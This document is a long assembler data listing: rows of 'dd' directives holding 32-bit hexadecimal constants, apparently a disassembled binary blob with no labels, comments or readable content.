dd 377E178Eh, 256CA39Ch, 0B08871FEh, 0D2DDF5D8h, 0BC0088B0h
dd 2EA97957h, 27FD8FFFh, 0C94176h, 6C7966h, 2F6C38B4h
dd 3F853257h, 0A9801087h, 0BCE0B151h, 0D10049ABh, 91AAF543h
dd 0F05EA50h, 219EC758h, 0EF086DA0h, 0FC771989h, 1F53D000h
dd 0F501AC2Bh, 5229017h, 0B186C909h, 0B4EC0065h, 0A3C5D644h
dd 7BA96625h, 0C86110A8h, 0D51F4047h, 5600D214h, 0C8C048FBh
dd 1E584ADh, 760BFF81h, 0EA47F117h, 42CDD120h, 0DEEE00A0h
dd 0E6C7D6F8h, 9D000B39h, 64AEC69Ah, 94E519F6h, 63344228h
dd 0FCB314E6h, 1800449Fh, 0FEDA26CBh, 9CE2769Fh, 0F7EA83D0h
dd 90B83FC6h, 16957E23h, 502E0088h, 2B289D7Dh, 0B892A968h
dd 25AC1B25h, 28C8E6B8h, 0B43F0764h, 0D13EF69Fh, 78B33022h
dd 0AFC800D0h, 0AD1B9EDBh, 0AC8CA94Ch, 0DC945FE2h, 0BB75E400h
dd 0E5211CD7h, 49351417h, 961DB1C3h, 0A02E406Bh, 0CBED45D1h
dd 867CA116h, 858AFC0Bh, 0D4E5E885h, 8D450803h, 2DB1409h
dd 0FBDF7694h, 0CBF20358h, 67C88DFFh, 0D604C11Fh, 0C315B6A2h
dd 0AEF0DE42h, 920080F9h, 3AE26A5Eh, 0ACFD10B0h, 647127DEh
dd 0B71B00BCh, 104E1EEEh, 6F058F66h, 7BDB9FACh, 0F04CF4BCh
dd 0CE03400h, 4963D0C3h, 922ED502h, 0DC44ADA3h, 844E8718h
dd 60C50E5Dh, 92DCEDFCh, 3C0014BCh, 4C7E644Bh, 426ACA2h
dd 3E05306Fh, 2895F5A1h, 8819B888h, 0E90C2279h, 329DAD7Ch
dd 0B0CC021Ah, 1DAF5187h, 8A21E860h, 9D0FFCB8h, 0D25063C6h
dd 14085450h, 4814C5AFh, 4B3C5680h, 0E8BFCC8Dh, 0C02214C8h
dd 240C0926h, 8CC42Dh, 2320334Bh, 0B1C116B3h, 35C58300h
dd 9F718B63h, 5802B7A4h, 0E720375Fh, 80DF78FCh, 0F800928Eh
dd 0FE565BC6h, 125D8CA5h, 0FC4FD5C5h, 0D3A384E4h, 54691909h
dd 897108B9h, 0AAC1C0BCh, 0CDDD1000h, 0D0C5EAD3h, 2B6B0302h
dd 45763759h, 4813F9F3h, 9CE4FDFEh, 684C00E4h, 0EF55CE2h
dd 0F6047639h, 1F88A564h, 0FA13B4B2h, 1D948880h, 1C4E3600h
dd 0F2D7146h, 13A103F6h, 0DEE64872h, 74545BDAh, 0AA8AAC40h
dd 24B90FEDh, 300ADA5h, 0BF19A339h, 1260342Dh, 543C604Ch
dd 0A6890092h, 5E0B3345h, 6F17B077h, 0F400F9C1h, 7B615C15h
dd 53450257h, 0BA84E9A7h, 0B13438C0h, 0C5DE8903h, 0C8A97F47h
dd 5CCBACh, 0FE872F41h, 0BB1010Ch, 4E8A250h, 0F30849Fh
dd 53623445h, 0A5CAD44h, 0D40BAA9Ah, 0D5DB8743h, 0A5F474D1h
dd 0FC80947Ch, 0D55EEA7Bh, 0E84D2307h, 1C67B328h, 97862E50h
dd 2F64B606h, 80C63C32h, 75E15300h, 1333A22Ah, 901A006Fh
dd 886919DBh, 490FAAA6h, 418CC7F8h, 4276A728h, 89B918C3h
dd 0A516905Ch, 0F098B74Eh, 7FA3177Bh, 38CC9ADh, 3B9BFCF2h
dd 0C185ECB9h, 1E50802Bh, 63E33518h, 3D3F3069h, 15B2CD40h
dd 6C7A2501h, 86D79EBAh, 904699FCh, 0B0FF0F9Ch, 2780949Bh
dd 68117348h, 88022F7Ah, 27EB5E7h, 1E28C1D4h, 98407912h
dd 0C02EC6Eh, 0FDE7630Bh, 8E24547Dh, 9BA0AE95h, 0D59CBA2Fh
dd 30ECE500h, 0F27ECF2Dh, 3FEFE6Ch, 83A95F88h, 0A1002789h
dd 0A76A18BDh, 18D67915h, 7E1962C0h, 3A4F2537h, 0ECA2B064h
dd 0E7780078h, 6096EA93h, 4724F772h, 79817459h, 97B986D8h
dd 97F31BC4h, 0C4F17412h, 842B8E89h, 18E83950h, 18281788h
dd 0BAE4A809h, 2D1402A3h, 8030460Ch, 1EAF40h, 666B74FBh
dd 7F827CE1h, 0D4203BF3h, 0B816487h, 0E1B09E33h, 0E019B809h
dd 0D2E8316Eh, 38E7C910h, 0CD8F7974h, 0EF605488h, 9AC199Eh
dd 5ED14501h, 0E4B22C2Dh, 16C474h, 40AE9B6h, 9ED42922h
dd 0B4D9D209h, 71F48764h, 0B1AF23C0h, 20C412AAh, 0E158C775h
dd 2AFA1A28h, 118BC422h, 5DB0DFD1h, 0C213C3BCh, 1C10CFA6h
dd 4F8500B8h, 0E312F981h
dd 2F7C0B8Ch, 3879E5C8h, 883C7203h, 5D0E301Ch, 0BCC66EA8h
dd 3BC9BA04h, 44B2E1B2h, 4631C300h, 52BDA885h, 88094B0h
dd 294A76AAh, 671034B2h, 0B74EC12Ch, 622FC2FAh, 0E85978C0h
dd 38D41E3Eh, 426FA3Fh, 92002CDBh, 4BFA9EE5h, 0F156121Bh
dd 4F941C19h, 3F84FED3h, 5550F063h, 0E8EF2CBEh, 0A8CA4B22h
dd 38C5E6C1h, 0D7508034h, 5F66440Ch, 8FC10C0h, 2FE7C1Fh
dd 63379E0Bh, 5E3094FAh, 7085B9AAh, 6F520033h, 0F8A8061h
dd 79ECD144h, 0DF131490h, 6300387Eh, 0F5FD817Bh, 0FAEEC4Ch
dd 6A6943A4h, 0B7A26E81h, 551280EAh, 0AFF97356h, 790609E4h
dd 0F0F9E2CCh, 4261440Eh, 45FD23C5h, 0A3696E78h, 7108C0FBh
dd 0CE824E0Dh, 8A00E70h, 2D9FECEBh, 44797B2Fh, 14D73918h
dd 7FEFC300h, 0B5AC782Ch, 6BA28901h, 0DB603702h, 2971618Ah
dd 0B7E70454h, 1806EB8Ah, 4228EA6Bh, 82E10BFh, 84460E80h
dd 38F97C1Ah, 16B1954h, 3309C730h, 0B3E71208h, 0ECA08B12h
dd 881EE8A9h, 4607E6A4h, 654E2082h, 9A8C5AC0h, 0A21B3DC8h
dd 875CD1DBh, 0FEC4171Ch, 42C1A4ECh, 91ADDE63h, 884B5730h
dd 880195E8h, 1A6E866Ch, 0D641E4F3h, 0CDFCA989h, 0B1631D81h
dd 8817BCAh, 18C59EB2h, 84F0C10Fh, 5BCC1F08h, 88985080h
dd 326D00E5h, 0D19AEB1Bh, 0E9EAB613h, 1F31E600h, 90E18C4h
dd 1B1D7A73h, 400B72EEh, 0E5BBA3E7h, 5118596Fh, 40454E1Eh
dd 0F6444C2Fh, 95021915h, 539DFB2h, 435603Eh, 28D575F8h
dd 0F64807EFh, 96CF1CFCh, 5F254099h, 0EE37D2DBh, 782F8432h
dd 34DB134Ch, 0EB8D9900h, 702E323Ah, 0CBBE0341h, 109CF47Fh
dd 0EF0E20F6h, 9E2F17h, 0B8BE49AEh, 43E901E3h, 0D24A04B6h
dd 0B0498033h, 0DB91C924h, 362118FBh, 0E6921920h, 5CBF400h
dd 35D1A59Eh, 0A210025h, 7E4DB8D8h, 0B7E09815h, 8484B928h
dd 0F459C84h, 14232FE0h, 0C0F6B508h, 2180FB88h, 3D983B4Eh
dd 0C0870068h, 2EAC070Bh, 8201DFE0h, 160A8CC5h, 3080CAF2h
dd 3CD61A13h, 41C5CD66h, 0D02192F7h, 0D8F8B8EFh, 0D611C00Ch
dd 16272410h, 0BF798960h, 50C7E72Fh, 4E8892h, 0EFBE9A44h
dd 0AE4D8785h, 0DA3EB808h, 60E48030h, 0BF0696D4h, 37362611h
dd 0F62FEE00h, 6DAEC3C1h, 0D9160514h, 0DD4A0030h, 42E49264h
dd 2A2D3AB8h, 21E6617Ah, 4094D260h, 33D348B0h, 7C481778h
dd 0E1B88524h, 4945440h, 780DE950h, 412A0E3Eh, 7E65AC4Dh
dd 0E4EB80D6h, 96FA3DB0h, 0CA00B2F2h, 0D814ED2Fh, 54623CF3h
dd 60AD90F7h, 51EF6116h, 457E2003h, 0E5B43700h, 6E766307h
dd 0CFF409D5h, 1821B109h, 414E100Fh, 13E764B4h, 398EF824h
dd 95D10F3Ah, 9F20B298h, 0DEE272B8h, 12FEC502h, 80CF9A3Ch
dd 28440818h, 13891DDh, 4A3AB64Dh, 815A0CDCh, 2BF002Bh
dd 4320C086h, 0E01B2A23h, 0B5F75202h, 8030E417h, 0B30BA080h
dd 0D8C0030Eh, 15A8EB9h, 721388B0h, 0BFE8C703h, 1BA0838h
dd 2AB20F61h, 0E08607DCh, 62039561h, 5B8E7CC9h, 0F7A90CCBh
dd 1631239Dh, 0F4C0EF54h, 0DA410100h, 3ED95570h, 682E0C25h
dd 168C843Ch, 0C029E060h, 0E60EFEA0h, 4EA7866h, 0B30888D3h
dd 10589026h, 7101973Bh, 0B7CF4DA8h, 0F8203D5Ah, 7044F8B5h
dd 89CE60E7h, 66F47AE4h, 3C14BFE4h, 88E0F863h, 0A02C8009h
dd 4C360E76h, 43CC7300h, 1CD6D5BFh, 3B8501B5h, 0B8F81FEDh
dd 0C040CAB1h, 1A41739Fh, 7C9E2850h, 948E05BEh, 245B969h
dd 0EB49EEE0h, 0CB277848h, 971C30E1h, 0C1EA1688h, 7F8FE9E9h
dd 64B440F3h, 700F533h, 8B2D50F7h, 240EBC7Dh, 0EC15B24h
dd 50F95649h, 0AF9FDCB8h, 57EE990Fh, 8E96608Fh, 0C8715B2Ah
dd 20866228h, 447822CBh, 6D783CDBh, 154480A4h, 75DA3803h
dd 6F9F5400h, 8522F8E0h, 0D2180619h, 3C500AC8h, 54377B4Fh
dd 89EC21h, 0A512638Dh, 0ECB9687Ah, 0ED4F3301h, 67B20AC0h
dd 9247FC4h, 9E588FBEh, 821A084h, 1038A413h, 248A84E6h
dd 0C8C49050h, 0DD0AC01Dh, 0A50017C2h, 868E42C7h, 58802357h
dd 0A84802B1h, 31E990C0h, 3E00507Ch, 0C16A7556h, 0EA15CCC6h
dd 42F93D85h, 105B348Ah, 313B0894h, 0E38F0905h, 8B11348Ch
dd 597CB0E3h, 0C6988A0h, 4D4EEF18h, 883D3721h, 0C80360C3h
dd 0D336201Eh, 339CF8D2h, 32216A5h, 8E74333Ah, 26BBD580h
dd 782C824Ch, 73085850h, 13E61E04h, 0E4882B4Ah, 0E9F30BB6h
dd 0A30070EDh, 870A8F94h, 0B3677F02h, 85AF5BDEh, 48085AD0h
dd 539A8032h, 0B4B23302h, 809C8658h, 11631797h, 4CD49073h
dd 4CCF40C9h, 362525h, 0F4F97020h, 0B9111BD1h, 91399D2h
dd 0BFB820BAh, 36003545h, 0B6BE8B61h, 711A54h, 0B125E522h
dd 0B2E07446h, 0F3A64C00h, 0DB7CBABFh, 0E5280681h, 693C36C1h
dd 85A9A400h, 6322ADB9h, 6F7600AFh, 0CE6431F1h, 602E187Eh
dd 2D01D5B8h, 0EEC770AEh, 9AD030h, 9E5D98CBh, 8702EB19h
dd 82A89C00h, 212B2CB9h, 0B1790016h, 0A1B5354Ah, 0F100AFC3h
dd 0E614B398h, 9FE3E5h, 11A61219h, 45B5610Dh, 14603C2Eh
dd 88AD44h, 2D9600DCh, 5AEF149Bh, 54B197F4h, 0CB10E024h
dd 0DCA5BE8Fh, 60B40942h, 0A90B8481h, 497CFF82h, 1A091E7Eh
dd 8BFE647h, 4940B480h, 4CCDF3EEh, 9208F829h, 200FC4Ah
dd 0E773191Fh, 13893098h, 57FF2349h, 0FA0DCC1Dh, 0F7C7DC40h
dd 1E449BE4h, 0DF1A1Ch, 63CD384Eh, 9C03B52Bh, 3D250EBAh
dd 525CA827h, 0F4D0A01Eh, 813F6494h, 487C8816h, 35B09100h
dd 0E74E9A74h, 61FF00BEh, 0C19CEEEFh, 2A263841h, 0FE1020EAh
dd 8F007090h, 4E3A3C8h, 3800AE06h, 3C7FBAA7h, 6E8B7Ch
dd 0A5E913E2h, 0DB30B60Bh, 5CD0F3EDh, 0F1045123h, 0EA371280h
dd 0DC18A4D0h, 4C0905F5h, 82F42A28h, 0A52FCAB8h, 0A488B008h
dd 0DA760B17h, 9025CF36h, 0C014006Eh, 4AB85A26h, 0ED733905h
dd 0C98454A6h, 877C88h, 0BDF13F0Dh, 0E11B270Eh, 42143701h
dd 0B1EF01A7h, 0B332E840h, 826401E4h, 0B6AB5CCh, 0D35CC4C8h
dd 13CEFB3Bh, 2A0113DAh, 0A201FEEBh, 60707470h, 0D64A08D7h
dd 830133D0h, 21E9630Bh, 6070EEBEh, 2C68F8C5h, 129875E8h
dd 7C1C0888h, 0E814EFC2h, 0E825B950h, 0B890E806h, 46E544B4h
dd 0B47A4B0Ah, 0B6088084h, 4D0602F9h, 0C40010D2h, 0F83167h
dd 632F19BDh, 90EC3016h, 0A46A5A02h, 0A17F3FB8h, 763270C4h
dd 3F2F8070h, 8606ACE4h, 4908D288h, 0CBC76300h, 6139C317h
dd 136D0084h, 360112E4h, 818908Ah, 0EE99E7B5h, 391D6773h
dd 46479B8h, 0E82BE60Eh, 275541CBh, 3EDCD5CDh, 3709062h
dd 9EA860E0h, 4948E470h, 58785274h, 701B8560h, 7DC6E800h
dd 0EEA219E4h, 9E2A3E35h, 0C0601CD0h, 666D0B50h, 0F20AA548h
dd 9C17B8CFh, 3E4D7840h, 235300A6h, 7F81749Eh, 0B83C28FBh
dd 54097F25h, 233C715h, 450F95D0h, 7CB50190h, 24B8E269h
dd 9A1E5601h, 0C40BEE5Ch, 1D5C98CCh, 123C0062h, 14A32F83h
dd 6531D211h, 3536500Ah, 0ED375980h, 532AB67Eh, 91DA4802h
dd 8212E166h, 298949A4h, 346EB498h, 9DE8AC00h, 0F295CF54h
dd 0C04A0024h, 29130467h, 0D248FD87h, 1D8C80C8h, 0D15CDAh
dd 29F9D380h, 0BFBC7179h, 2D106505h, 0C100B28Ah, 76EE3504h
dd 0C438A314h, 70DCF940h, 813E3415h, 80E45C25h, 0F6F5D99Eh
dd 0C97A00FEh, 5B9BEADAh, 0EE00B20Dh, 9156A920h, 0B874A5h
dd 4C08235Ah, 7F182A17h
dd 8FA0124h, 0F3D10680h, 718521h, 0CFF91D93h, 0C1034924h
dd 392FA106h, 713A36h, 3471E146h, 0D0AE66AAh, 0E78D20EDh
dd 0C5879C0Bh, 48601098h, 42974F6h, 0BE8D5049h, 1804C199h
dd 3E6E442h, 272E8C4h, 5E3CB840h, 386036C2h, 0A9278A69h
dd 39280045h, 3A29FA69h, 0C3ABFE1h, 9C11A675h, 0C27D216h
dd 6985E880h, 7A0D7E8Eh, 598F622Dh, 0A2879F46h, 0C45367F0h
dd 0E5D780EFh, 0FC79B288h, 9E1EEE04h, 0CB0D91Ah, 70EF4EB6h
dd 0DC40309Ch, 0FAF67800h, 0D9D0B6C7h, 420C9089h, 3C2203h
dd 5BB481A5h, 73D7BE7Fh, 7E9BDD00h, 0C3BB7530h, 0A8A21418h
dd 0BF0880CFh, 13800AADh, 81DC5CBh, 0E850063h, 780DF4D8h
dd 0F0B116EEh, 1D4AF500h, 9F2FEA6h, 0C2563CB9h, 441F5882h
dd 9108940Ah, 39B98331h, 610912D2h, 82ADC2F0h, 0A417EECAh
dd 880784h, 0BE821DAEh, 62F2007Ch, 0E1FB49A7h, 3B218602h
dd 0E1C76F9Ah, 44D48F20h, 6E511595h, 0F6109C56h, 0CC202B2Bh
dd 95BFC200h, 26C38D98h, 98CB8AEh, 0A809A64Bh, 4800080Fh
dd 37CFF3FBh, 46B13660h, 5077735Dh, 184ACB0Ah, 62FE5001h
dd 8322514h, 600F29B9h, 0A8DE3Ch, 0D644D5C8h, 0B6D93F10h
dd 0D64AC12h, 4D70100h, 12565Ch, 0DEBFED2Eh, 2A0AB8B1h
dd 0BA4A9C04h, 0A837B4Ch, 0A4C3F7h, 0B5E6DF59h, 5EA0F4D7h
dd 8800D0B2h, 76E52A09h, 0DFA28AE2h, 0A76C06C0h, 101C180Fh
dd 0CE03B0C8h, 0B063532Dh, 48174A8Ah, 6C06E442h, 0E8775576h
dd 0B649E000h, 2ED8EE1Bh, 31360E8Ah, 7740CCC8h, 0F6138C9Bh
dd 40DF9430h, 807BF538h, 75401F9Eh, 0F0BA188Bh, 0B4C218FAh
dd 3F409C58h, 66A861D8h, 8A002B62h, 4781D33Dh, 631A43F0h
dd 16DE3082h, 7F1015B0h, 8748202Ch, 221E832h, 0DE100FE2h
dd 3B2184D6h, 2A0C40Eh, 217B4DCAh, 0FC3DDCh, 47FE85F3h
dd 5408D36Eh, 4D0A0E4h, 0D2B8ED4Fh, 9058970Dh, 0EF5FA511h
dd 4A7ACB03h, 0E0A1F812h, 0E0619DB5h, 0A9B400C8h, 0B7E1DD72h
dd 0B0091B23h, 17DE5Ch, 36A3C540h, 0EA86129Ah, 18500030h
dd 4C35F083h, 9D5FB809h, 97E8400Eh, 0CB7818B2h, 1266C803h
dd 0CFF75801h, 3DB36019h, 204D1820h, 0C0FD03C8h, 20A7AAFFh
dd 0C954F188h, 0E6008444h, 554F66E1h, 8AABD2h, 5605D4A1h
dd 300E3D1Dh, 8E11C53Ah, 0A098FF22h, 70E52D73h, 0B6E70346h
dd 62357984h, 20071EF9h, 11ED89F4h, 0A450E816h, 5EE011h
dd 54673E51h, 0D2FFD3E2h, 19151B05h, 0D0C0DC42h, 26EA338Ah
dd 0BC812E6h, 4A3735h, 4601CFF0h, 1CE9A3B6h, 898DB8Eh
dd 0A8CE2127h, 0AC708800h, 0B819C21Bh, 7ADA2874h, 8A720BB8h
dd 7C8FC62Eh, 928C1183h, 103CE4EBh, 0A0E9FBh, 7499811Ch
dd 5C0FF865h, 1F870422h, 7E62E52h, 0E40011C8h, 72BE70BAh
dd 331BD3A3h, 0FD085345h, 410E2103h, 0C0C14A70h, 0A4681DBh
dd 0CA10A27Ch, 84C24C4h, 0B617D956h, 1CAD1404h, 0ED782C90h
dd 9627015Ah, 9FC9FB83h, 7B0898F3h, 0E55221h, 2CAA8E5Ah
dd 0E364021Ch, 0A6D21602h, 61BC6295h, 0F85020E0h, 2641C581h
dd 814C1B17h, 0ECDC24FFh, 3373EC60h, 8099833h, 0A6E900F0h
dd 0C155DC3Ch, 6E01CD35h, 3A92125Bh, 0C850FECEh, 0FD2E82C7h
dd 0D05FA450h, 0A4FA0023h, 0C2190CB2h, 0DC093602h, 2378C72h
dd 0C0E2B799h, 7D24F8h, 3144E389h, 7EEB6471h, 9E1DEC00h
dd 30732521h, 2310005Dh, 0C2D0558Fh, 0CA00870Dh, 0E2C793F3h
dd 1FF07AC1h, 4046AE92h, 0D6F1A7E9h, 0EF718319h, 86FA7803h
dd 0ED906Fh, 54241730h, 1ED72857h, 81464A00h, 9ABE1D9Dh
dd 0E0B00082h, 694DCEA8h, 0CA2CBA5Bh, 0E60117E8h, 0E793EE77h
dd 0C4E50C8h, 94F301CCh, 0A6068E20h, 9807570Eh, 0D9ED0090h
dd 8F4AE715h, 0DD3E582Dh, 0D26F83CAh, 0D03BC09Eh, 3857910h
dd 93C448D1h, 39039B67h, 0E7014FCAh, 0B558009Fh, 801C6110h
dd 6F0393FAh, 99C4504Bh, 9069E0E7h, 0CBCE0226h, 4FC56D38h
dd 87B4BA41h, 0CC979838h, 0A62853B3h, 0BEF51C30h, 6E160EEBh
dd 4668A6E0h, 1C0381FDh, 1718E370h, 938002D5h, 0B1BE214Ch
dd 8B0603h, 9695F999h, 72BFE071h, 0EA2C6507h, 6EB0F2B6h
dd 0E920912h, 0AC90C370h, 0F363F7C0h, 0BF0ECC37h, 0E3DCB31Ah
dd 43CD7C2Fh, 0F3EC0410h, 10F16530h, 0B62214h, 0BBA5C61Fh
dd 30B4E44Ch, 0D9C1C800h, 22DBF3B9h, 14F93EA7h, 0CF29AA31h
dd 323A0073h, 7A9600A4h, 1C6B63F5h, 0FE033C2Ah, 206A7CA1h
dd 0E486910Bh, 0FC25D4h, 0C8150DCBh, 10BC4583h, 0F834CC00h
dd 853E9A2Dh, 0E4D700B3h, 0AB50E674h, 9F03F413h, 0AEC03F90h
dd 8F978005h, 702F1AA0h, 0FE0010AFh, 8ED01A94h, 37A6A07h
dd 15B738BDh, 0E193EF30h, 66A90F4Fh, 0F008C53h, 0E4AFF268h
dd 51DD4614h, 0CA007C80h, 0BB9C70C3h, 1BA3B38h, 9A920A3Ah
dd 80E20F54h, 7B974840h, 0C390AFh, 0E6A237F5h, 0C60D8AC8h
dd 0F9951007h, 2740C968h, 52F01h, 98DFB81Dh, 2D6DD004h
dd 42DD3Ch, 0E2CF6892h, 0A9954E1h, 71BE4456h, 0A27B00C4h
dd 3CFB3719h, 0A1C3CE30h, 0A5D680Ch, 0DB349B56h, 5A2D0088h
dd 2779811h, 0E495B200h, 0E57FD7BEh, 0BBED484Ch, 20420D03h
dd 1898C1F0h, 45005564h, 0A581A271h, 96F280h, 6AB51FCAh
dd 2AB927EDh, 0ADE74200h, 328CD84Ah, 0B04400DFh, 687A9A01h
dd 0D50170A3h, 0F9720F0Eh, 3AE066D4h, 8D5B00DDh, 0A8797F09h
dd 5A098B67h, 9E8F30h, 0DB88462Ch, 26B70037h, 606114ECh
dd 0BF1DDFD3h, 74811B4Fh, 29C9AD66h, 13EE95F4h, 23DB44h
dd 0C79AFCDCh, 2400B840h, 552B2A8Dh, 58643Bh, 93DFBBF1h
dd 9660AD6Dh, 921AB905h, 0D0403035h, 9D90F7D7h, 0E0C5555Ah
dd 0AC98DCh, 0B9FF13F4h, 0D4B1D5B6h, 2235CC07h, 911F7A2h
dd 589DF087h, 0F30F00B7h, 8DD59DD9h, 0CA00C875h, 0EF49E82Ch
dd 92046D7Ch, 0C91E448h, 0E582F871h, 0D1987510h, 0D47C1F00h
dd 2ACE0980h, 147A2423h, 0A68D07B0h, 0F91F7007h, 6700AFFFh
dd 2762BFBEh, 0EA446E0h, 8801D478h, 479FB1A0h, 54006183h
dd 0ED38F50Ch, 14447E58h, 0FAB217F9h, 0C86E5B06h, 6F0378E7h
dd 0EDF0FD68h, 15C2D084h, 0ADD224BCh, 0CE500450h, 0BA47C321h
dd 8CFCF803h, 7A3AB801h, 0FD6000E1h, 213DC564h, 6C0F8AF4h
dd 24563124h, 48807D66h, 2BBEC2h, 49594FCEh, 2376B972h
dd 119258h, 2FB89767h, 19DDBD88h, 58A0FD0Bh, 0AA8CE079h
dd 8578CB78h, 8344A31Ch, 0BF6506C1h, 68C698B8h, 548DA43Ch
dd 48ECD86Ah, 0E900E4BEh, 82FD2779h, 0BBE00DBAh, 9AD7A100h
dd 9FEED9D8h, 0B88C30F2h, 0D1655C40h, 4E141600h, 0C5FFCEAh
dd 255E0318h, 0A6F4E220h, 0C8ED4AC9h, 5A26A234h, 0A301E3B3h
dd 0F695BC9Ch, 7A871820h, 0F1D200D5h, 17E9AFD7h, 0BC090648h
dd 0BF2C43h, 0FBA39B20h, 0C7E800CBh, 574F7BFCh, 7F0E02ABh
dd 43CE1216h, 0B97D56A3h, 0C1C02F91h, 0F27000F0h, 3067DC47h
dd 6C076669h, 0D42C2B42h, 0C22E9F80h, 31F0AA1h, 81B42AB6h
dd 3DF85335h, 87B9F0AFh, 0F054EC05h, 8C0D745h, 4AEF7Eh
dd 0B45547F6h, 4C77F71Eh, 8E8D6803h, 0B8C61334h, 0FAA41EBh
dd 0C2CE3DB1h, 65027E3h, 0D40E8680h, 94122900h, 9D625231h
dd 344C0705h, 903AAFB2h, 91E158FBh, 11611713h, 0C740381Ch
dd 0CBF2A57Bh, 8CC900EEh, 787DC39Eh, 88004748h, 0CCE70C07h
dd 2E460A39h, 59F47Eh
dd 6A1658Fh, 8CFE3A04h, 79D6610Fh, 5E3E2012h, 70288F2h
dd 4EDD45A6h, 383D202Eh, 871F4C1Ah, 61C02728h, 36720A3Bh
dd 20130A9Eh, 0D1E648h, 0A8045EBFh, 114C0932h, 0F61600A8h
dd 0F34792FAh, 25620F78h, 0E6804376h, 0D5B311AAh, 3E6F6403h
dd 0F84A96CBh, 889F9Eh, 0A629ECF9h, 0E893A232h, 444FEE24h
dd 0C1C0BA90h, 94031BCEh, 0C7B99C04h, 9893E01Dh, 8354E19Ah
dd 0C3DEE0EEh, 0A779017Ch, 9313B66Dh, 37ABE8C9h, 2CA87A00h
dd 3BBE764Bh, 0E1E00EAh, 5F4361A4h, 0CC00A6B4h, 0BD52EF84h
dd 0E8ABBF78h, 0F1C00097h, 0D8B88734h, 0EA61EB66h, 14A22D20h
dd 69611071h, 62E9F4h, 40940AAFh, 0A29A5EF2h, 90F98E2h
dd 2071705Bh, 2D8C25B9h, 72A82C89h, 0E48A80F0h, 132A3655h
dd 90514C00h, 832B5D21h, 38880028h, 465F02A5h, 8F022F96h
dd 4504AF55h, 3208805Ch, 29241Bh, 6263338Ah, 9BA44201h
dd 18305Dh, 16BC487Ch, 1F64E947h, 8C90D06Dh, 93807F5Eh
dd 6974DF78h, 0FA4AE60Bh, 9B38A216h, 4C002F9Eh, 4278366Dh
dd 142F9D74h, 0FAC7C2Bh, 0F3807D43h, 9F9B84B1h, 654218A0h
dd 803D18DEh, 131C0516h, 34417C9h, 0B40F1278h, 4AE13694h
dd 0F93840C5h, 43009030h, 0B2F18795h, 74B51082h, 9875EAA1h
dd 0CE3900DFh, 0ADEED7B8h, 0DD1CBE55h, 62C0DAD8h, 81D0A61Dh
dd 28F200D3h, 31E3C6Fh, 0C400F495h, 0A609D811h, 3FD3AEC6h
dd 3700A24Ch, 0ECFB4807h, 0CE005744h, 66AB8B2Fh, 69C53Dh
dd 3FE61BBFh, 0BD0CE721h, 0D73BBC01h, 1E291957h, 0E351C4h
dd 0E7BB2ACFh, 0D5E93F94h, 6FA5D901h, 88C0AEDAh, 0F64C26C0h
dd 93B21D15h, 0ED57C08Ch, 7F3328DCh, 80CD493Ch, 0FEC99582h
dd 0E019F5F7h, 16CF1CA2h, 388EAB3h, 0C149667Ah, 3B88C7B2h
dd 18C073D9h, 72F6A16Dh, 4BC60307h, 4E7F1AA3h, 0F9949094h
dd 0C2003097h, 25B110B6h, 6627332h, 0F0A7A247h, 0E90018DFh
dd 0C464ED4Eh, 78CAACCEh, 903071F5h, 0D430FFACh, 0E9B20AF7h
dd 93E8FAF2h, 56190046h, 8CF9B9D3h, 6FEC4007h, 9B80DE6Bh
dd 0DFA87186h, 3F140328h, 91E3C1D5h, 99C0A673h, 7EEAB6C8h
dd 6833606Ch, 77C2971Eh, 0EF108100h, 0D8A7159Dh, 0F3A0C3C6h
dd 803AB8B7h, 0A18F40EBh, 708074C1h, 0E2A11446h, 0B411EF28h
dd 6F00970Bh, 22F79F1h, 0E80EB7C6h, 74B6F093h, 0C9430094h
dd 91A52D9Ah, 194A97h, 0AC7EEBE0h, 91C2C2EFh, 10875ED3h
dd 0C040E8BFh, 48C18FDh, 0D138C80Bh, 0FFE86B61h, 681ADE69h
dd 5FE07459h, 244EE8D5h, 168038Ah, 0E91C9712h, 46CC40ABh
dd 18C01D90h, 0A50C1A35h, 9F59C09Dh, 13153342h, 0F0D0560Ch
dd 0C080093Ah, 334A7F21h, 730013A8h, 0F9DE9511h, 281C4202h
dd 7F90273Bh, 18B198E9h, 0D8F12897h, 84A02598h, 6924CD0Ah
dd 1BC30F2h, 58F916DCh, 0E02021F5h, 83165FDh, 69C4B38h
dd 80569387h, 0F1B4E2ABh, 900437Bh, 413C5EAFh, 28E52F67h
dd 36DCCA20h, 0A980CD07h, 0FD70BF17h, 0EF31B000h, 0FF089C7Eh
dd 800DF191h, 13123343h, 83448C2Eh, 334B017Ah, 0E00A53F2h
dd 0E96930C5h, 6F12C709h, 0EF7420C9h, 0A114D05Eh, 59181730h
dd 1321337Eh, 4144C07Eh, 0B0B09333h, 0E1089517h, 4821FF0Dh
dd 0B9985898h, 8A00DA10h, 7EAA79A1h, 24B05Fh, 899F601Eh
dd 0C38B0CF1h, 3DD96B00h, 7C69DB91h, 79ED00ECh, 7364E6FEh
dd 0B73A419Dh, 0F91B0071h, 58EF549Ah, 0B55E021Ch, 0AB865948h
dd 48C005E2h, 0DE5A244Eh, 160040E8h, 4FE2B84Dh, 410940D4h
dd 55A85562h, 27422880h, 5C00A4C7h, 8029FF25h, 1C0E6B8Fh
dd 41242E0Fh, 0A3392DE8h, 21D0E410h, 4A08B300h, 0A4AEE095h
dd 92530EABh, 84609032h, 2B3BF101h, 265E8C3Dh, 79074B55h
dd 0EA4012ADh, 0C06DEB8h, 34C04598h, 6000CB3Ah, 5287502Ch
dd 786CAFD4h, 9FA90157h, 0C7B4395Bh, 431A136h, 609FAFF0h
dd 4CD01053h, 320023CAh, 0A050412Ah, 387A3Ch, 0AFC25EFBh
dd 0DDEFA236h, 0A7512719h, 61095529h, 0D2299025h, 48A1F284h
dd 91B64289h, 22A37E22h, 7D24ACFFh, 1292DB21h, 0BFE810DAh
dd 0DF089189h, 84E6E744h, 42B83622h, 943411A5h, 0CF048222h
dd 0BFBD5C26h, 9B0AFBC1h, 55D9D4h, 12187D60h, 47C3B9A2h
dd 0A9B2F600h, 4DEA6B82h, 35BD00CBh, 969F783h, 0E2983250h
dd 7D36E400h, 81B9FA41h, 3CD51F1Ch, 0C0885E9Ch, 653D327Eh
dd 0B0003618h, 3568AB23h, 0B876AAh, 857A3461h, 54FD781h
dd 0A612CC0Fh, 0E0230048h, 7683C7B5h, 55140072h, 264C2A8Eh
dd 0B0003DF1h, 86CCF795h, 0F4F60D82h, 5E200054h, 2B8AA469h
dd 3F00B434h, 0AB6D42D2h, 9CFB79h, 9D3055B1h, 0D5C0546h
dd 80377B3Bh, 9880D6C8h, 0E5042EDAh, 67092981h, 0EC0AF6B9h
